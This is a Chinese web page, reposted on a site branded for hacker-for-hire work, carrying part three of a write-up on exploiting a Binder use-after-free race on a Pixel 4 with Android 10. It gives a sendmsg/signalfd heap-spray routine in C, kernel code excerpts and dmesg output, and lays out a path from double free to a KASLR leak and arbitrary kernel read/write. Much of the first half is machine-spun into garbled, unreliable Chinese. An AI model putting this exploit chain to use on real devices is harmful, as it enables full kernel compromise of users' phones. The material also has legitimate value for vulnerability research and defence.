当前位置:首页 > 网络黑客 > 正文内容

详细分析Binder中的单指令竞态标准漏洞(三)

访客4年前 (2021-04-04)网络黑客514

在文中中,大家将为阅读者深层次详细介绍Binder中的单指令竞态标准漏洞以及利用方式。

(接好文)

开启UAF漏洞是一回事儿,可是怎样利用它完成代码执行也是此外一回事儿了。这节将为阅读者逐渐演试怎样利用该漏洞,期待这一全过程可以加重阅读者对该漏洞的了解。

大家的检测将在运作2020年8月公布的全新Android 10原装印象QQ2A.200805.001的Pixel 4机器设备上实行,沒有安裝别的安全补丁。阅读者能够 在Google开发者网址上寻找该印象。

说白了,“释放出来后应用(UAF)”身后的一般念头是在释放出来对象后再次应用动态分配的对象。有意思的是,该释放出来的对象现在可以由另一个具备不一样合理布局的对象更换,进而在初始构造的特殊字段名上导致种类搞混。如今,当被利用的程序流程再次运作时,它会像应用初始对象一样应用早已分配的对象,这很有可能造成 实行流的跳转。

大家都知道,UAF漏洞的利用全过程高宽比取决于所应用的动态分配系统软件,针对Android系统软件而言,它应用了一种名叫SLUB调节器的动态分配系统软件。

因为文中不准备表述SLUB调节器的原理,因而,假如您还不了解它,请先阅读文章相关该主题风格的相关资料,便于于充足了解文中的一部分。

从实质上讲,slab能够 分成储存特殊尺寸或特殊种类的对象的缓存文件。在大家的事例中,大家想分配binder连接点对象占有的运行内存。在这儿,binder_node建筑结构的长短为128字节数,而且在运作Android 10的Pixel 4上沒有专用型的缓存文件,这代表着它坐落于kmalloc-128缓存文件中。因而,大家必须应用长短小于或等于128字节数的对象开展运行内存喷射,详细信息见下文。

大家以前说过,能够 应用UAF漏洞来操纵binder的switch/case主要参数。

static void binder_release_work(struct binder_proc *proc,

struct list_head *list)

{

struct binder_work *w;

while (1){

w=binder_dequeue_work_head(proc, list);

if (!w)

return;

switch (w->type){

//[...]

default:

pr_err("unexpected work type, %d, not freed

",

w->type);

break;

}

}

}

在这节中,大家将根据喷射slab来伪造w->type载入的值。

大家应用的喷射技术性在Project Zero的“Mitigations are attack surface, too”中有详尽的详细介绍,该技术性取决于sendmsg和signalfd的应用。

sendmsg分派一个基本上由客户操纵的数据信息添充的128字节数核心对象

sendmsg对象被释放出来

自此,马上开展signalfd分派,建立一个8字节对象(也是128-kmalloc高速缓存的一部分),该对象很可能会更换之前的sendmsg,并将其內容“钉”在运行内存中。

根据这类喷射技术性,能够 得到下列結果,进而使大家可以操纵w->type。

如Lexfo编写的“CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)”上述,还可以仅根据阻拦sendmsg来做到同样的实际效果。可是,利用漏洞的速率会明显减缓,如同大家将在下一部分中见到的那般,signalfd在利用此漏洞中起着十分关键功效。

我们可以应用类似下列作用的涵数在核心运行内存中喷射sendmsg和signalfd对象,以操纵w->type。

void *spray_thread_func(void *argp){

struct spray_thread_data *data=(struct spray_thread_data*)argp;

int delay;

int msg_buf[SENDMSG_SIZE / sizeof(int)];

int ctl_buf[SENDMSG_CONTROL_SIZE / sizeof(int)];

struct msghdr spray_msg;

struct iovec siov;

uint64_t sigset_value;

// Sendmsg control buffer initialization

memset(&spray_msg, 0, sizeof(spray_msg));

ctl_buf[0]=SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;

ctl_buf[6]=0xdeadbeef;

siov.iov_base=msg_buf;

siov.iov_len=SENDMSG_SIZE;

spray_msg.msg_iov=&siov;

spray_msg.msg_iovlen=1;

spray_msg.msg_control=ctl_buf;

spray_msg.msg_controllen=SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;

for (;;){

// Barrier - Before spray

pthread_barrier_wait(&data->barrier);

// Waiting some time

delay=rand() % SPRAY_DELAY;

for (int i=0; i < delay; i ){}

for (uint64_t i=0; i < NB_SIGNALFDS; i ){

// Arbitrary signalfd value (will become relevant later)

sigset_value=~0;

// Non-blocking sendmsg

sendmsg(data->sock_fds[0], &spray_msg, MSG_OOB);

// Signalfd call to pin sendmsg's control buffer in kernel memory

signalfd_fds[data->trigger_id][data->spray_id][i]=signalfd(-1, (sigset_t*)&sigset_value, 0);

if (signalfd_fds[data->trigger_id][data->spray_id][i]<=0)

debug_printf("Could not open signalfd - %d (%s)

", signalfd_fds[data->trigger_id][data->spray_id][i], strerror(errno));

}

// Barrier - After spray

pthread_barrier_wait(&data->barrier);

}

return NULL;

}

假如取得成功的利用了该漏洞,一段时间后应当在dmesg中见到下列日志內容:

[ 1245.158628]binder: unexpected work type, -559038737, not freed

[ 1249.805270]binder: unexpected work type, -559038737, not freed

[ 1256.615639]binder: unexpected work type, -559038737, not freed

[ 1258.221516]binder: unexpected work type, -559038737, not freed

虽然我们知道怎样操纵switch/case主要参数,但大家都还没详细介绍binder_release_work中的UAF漏洞能够 用于干什么。下边,使我们看一下该涵数的别的一部分,以明确大家的总体目标编码途径。

static void binder_release_work(struct binder_proc *proc,

struct list_head *list)

{

struct binder_work *w;

while (1){

w=binder_dequeue_work_head(proc, list);

if (!w)

return;

switch (w->type){

case BINDER_WORK_TRANSACTION:{

struct binder_transaction *t;

t=container_of(w, struct binder_transaction, work);

binder_cleanup_transaction(t, "process died.",

BR_DEAD_REPLY);

}break;

case BINDER_WORK_RETURN_ERROR:{

struct binder_error *e=container_of(

w, struct binder_error, work);

binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

"undeliveredTRANSACTION_ERROR: %u

  ",

  e->cmd);

  } break;

  case BINDER_WORK_TRANSACTION_COMPLETE: {

  binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

  "undelivered TRANSACTION_COMPLETE

  ");

  kfree(w);

  binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);

  } break;

  case BINDER_WORK_DEAD_BINDER_AND_CLEAR:

  case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {

  struct binder_ref_death *death;

  death=container_of(w, struct binder_ref_death, work);

  binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

  "undelivered death notification, %016llx

  ",

  (u64)death->cookie);

  kfree(death);

  binder_stats_deleted(BINDER_STAT_DEATH);

  } break;

  default:

  pr_err("unexpected work type, %d, not freed

  ",

  w->type);

  break;

  }

  }

  }

  从代码来看,每个分支要么输出一些日志信息,要么释放binder_work,这意味着唯一可能的策略就是对使用后的对象进行第二次释放。SLUB中的Double Free漏洞,意味着我们将能够在同一位置分配两个对象,使它们重叠,然后使用一个对象来修改另一个对象。

  现在,并不是所有的释放过程都是一样的,如果我们的binder_node对象位于地址X处,那么出列的binder_work结构体将位于X+8处,并且:

  BINDER_WORK_TRANSACTION将释放X处的对象

  BINDER_WORK_TRANSACTION_COMPLETE、BINDER_WORK_DEAD_BINDER_AND_CLEAR和BINDER_WORK_CLEAR_DEATH_NOTIFICATION将释放X+8处的对象

  对于在X处分配的对象,如果在X+8处释放它,则下一次的内存分配也将在X+8处进行。这可能是一个非常有趣的原语,因为它提供了下列功能:

  另一种重叠配置(与X处的偏移量相比,您可以获得不同的偏移量)

  一种到达与X处对象相邻的对象的潜在方式(例如,在X+8处分配一个128字节长的binder_node将导致对相邻对象进行8个字节的越界访问)。

  我们没有将该策略用于这里的exploit,而是通过将w->type设置为BINDER_WORK_TRANSACTION,继续利用X处的常规Double Free漏洞。但是,这个路径比其他三个路径需要进行更多的工作。

  在binder_cleanup_transaction中,我们用sendmsg的控制缓冲区来控制t,并希望到达对binder_free_transaction的调用。

  static void binder_cleanup_transaction(struct binder_transaction *t,

  const char *reason,

  uint32_t error_code)

  {

  if (t->buffer->target_node && !(t->flags & TF_ONE_WAY)) {

  binder_send_failed_reply(t, error_code);

  } else {

  binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

  "undelivered transaction %d, %s

  ",

  t->debug_id, reason);

  binder_free_transaction(t);

  }

  }

  首先要满足的条件是:

  t->buffer必须指向有效的内核内存(例如始终在Pixel设备上分配的0xffffff8008000000)

  TF_ONE_WAY应该在t->flags中设置

  static void binder_free_transaction(struct binder_transaction *t)

  {

  struct binder_proc *target_proc=t->to_proc;

  if (target_proc) {

  binder_inner_proc_lock(target_proc);

  if (t->buffer)

  t->buffer->transaction=NULL;

  binder_inner_proc_unlock(target_proc);

  }

  kfree(t);

  binder_stats_deleted(BINDER_STAT_TRANSACTION);

  }

  在binder_free_transaction中,达到kfree之前需要满足的其他条件是:

  t->to_proc应该为NULL

  满足了这些要求之后,我们终于可以在X处利用一次Double Free漏洞了。

  现在,为了继续利用漏洞以实现代码执行,我们需要借助于KASLR泄漏和任意内核内存读/写漏洞。由于最近的Pixel内核使用了CFI,因此,我们无法通过重定向执行流程来直接执行内核代码。

  可以通过读取存储在对象中的函数指针来获得KASLR泄漏漏洞。对于两个重叠的对象,其中一个对象应该允许我们从中读取其值,另一个对象需要具有一个与第一个对象的值对齐的函数指针。

  任意内核内存读/写要复杂一些,我们将在以下各节中详细加以介绍。现在,请注意,它们依赖于Thomas King的“内核空间镜像攻击(KSMA)”,并且我们需要在重叠对象的开始处写入8字节。

  但是,在执行任何操作之前,我们需要确定对象在内存中重叠的位置。根据我们所处的漏洞利用阶段,我们不会重叠相同的对象。这意味着我们需要能够以足够的精度释放和分配对象,以免丢失对悬空内存区域的引用。

  当然,我们可以使用不同方法来检测重叠对象。但是对于这里的exploit来说,我们决定重用signalfd,其思想是在第一次喷射期间获得w->type的控制权,并通过其sigset_t值为每个signalfd赋予一个特定的标识号。

  实际上,如果一切顺利的话,exploit将开始使用sendmsg和signalfd来喷射内存。然后,就会出现UAF漏洞。其中,一个sendmsg/signalfd对象将替换binder_node对象并更改w-type的值。之后,将出现Double Free漏洞,并允许两个对象相互重叠。我们继续使用sendmsg/signalfd喷射技术,使双重释放的signalfd与另一个重叠。这将导致一个其值已经被改变的signalfd,并且利用其标识号,就能确定它与哪个signalfd发生了重叠,具体如下图所示:

  

  在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!

  (未完待续)

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/107191.html

分享给朋友:

“详细分析Binder中的单指令竞态标准漏洞(三)” 的相关文章

奥运会遭到俄罗斯黑客攻击!黑客攻击微信聊天记录

人民网2021年8月13日02:28:03的消息,黑客攻击微信聊天记录 东京奥运会惨遭俄罗斯黑客攻击! 英国国家网络安全中心日前揭露了一项惊人的黑客计划:俄罗斯军事情报部门曾准备对原定今夏举办的东京奥林匹克运动会和残奥会发起网络攻击。据悉,其攻击目标涵盖赛事组织者、后勤公司和赞助商。 打开百...

我老公老是让他家的亲戚来我家,我该怎么办?请各位帮我想想办法,我

我老公老是让他家的亲戚来我家,我该怎么办?请各位帮我想想办法,我 请各位帮我想想办法,开网店怎么找女装货源唔爱神起助您成就财富人生,想做微商?想开实体店?想开淘宝店?什么才是你创业的最重要步骤?货源!想在微商卖童装母婴用品纸尿裤女装,开童装女装店铺,你去哪里找最好的货源?如何找童装女装一手货源呢?...

如厕阅读-如厕时读书看报有哪些坏处?

如厕阅读-如厕时读书看报有哪些坏处? 读书、看报兼如厕,不少人有这样的习惯。然而这一习惯非常不好。蹲厕时读书看报,会干扰大脑对排便传导神经的指挥,延长排便时间。现代医学研究证实,蹲厕超过3分钟即可直接导致直肠静脉曲张淤血,易诱发痔疮,且病情的轻重与时间长短有关。蹲厕时间越长,发病几率越高。因为久蹲...

怎样辨别有农药残留的蔬菜?

怎样辨别有农药残留的蔬菜? 一、不吃形状、颜色异常的蔬菜: 形状:颜色正常的蔬菜,一般是常规栽培,是未用激素等化学品处理的,可以放心地食用。 “异常”蔬菜可能用激素处理过,如韭菜,当它的叶子特别宽大肥厚,比一般宽叶一次同学聚会,我发现很多同学已经有房有车,毕竟毕业三年了,而我还只是每个月三千块...

百世物流价格自助查询 「百世快递物流查询」

0601:26莆田市|到莆田市,2,安吉阳光一区,快递你的单号为11位,一公斤之内是7元钱,2150是项目单号。 福州转运中心,如图所示,一般会在包裹上贴上快递单,快递公司一般都是按距离和重量来收费的,已揽收2016-07-2620:30,如果是别人给自己邮寄包裹,邻里驿站,安吉阳光一区,福州转运中...

英寸和米的换算(这些单位换算你还知道吗?)

英寸和米的换算(这些单位换算你还知道吗?) 一寸等于多少厘米 更新:2016-03-28 14:07:21 查看相关文章 一寸等于多少厘米 1寸=3.3333333厘米(cm) 1英寸(in)=2.54厘米(cm) 一寸等于多少毫米 1寸=33.3333333毫米(mm) 1英寸...

评论列表

野欢萌晴
2年前 (2022-07-18)

38737, not freed[ 1256.615639]binder: unexpected work type, -559038737, not freed[ 1258.221516]binder: unexpected work type, -559038737, not freed虽然我

嘻友里赴
2年前 (2022-07-18)

X+8处,并且:  BINDER_WORK_TRANSACTION将释放X处的对象  BINDER_WORK_TRANSACTION_COMPLETE、BINDER_WORK_DEAD_BINDER_AND_CLEAR和BINDER_WORK_CLEAR_DEATH_NOT

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。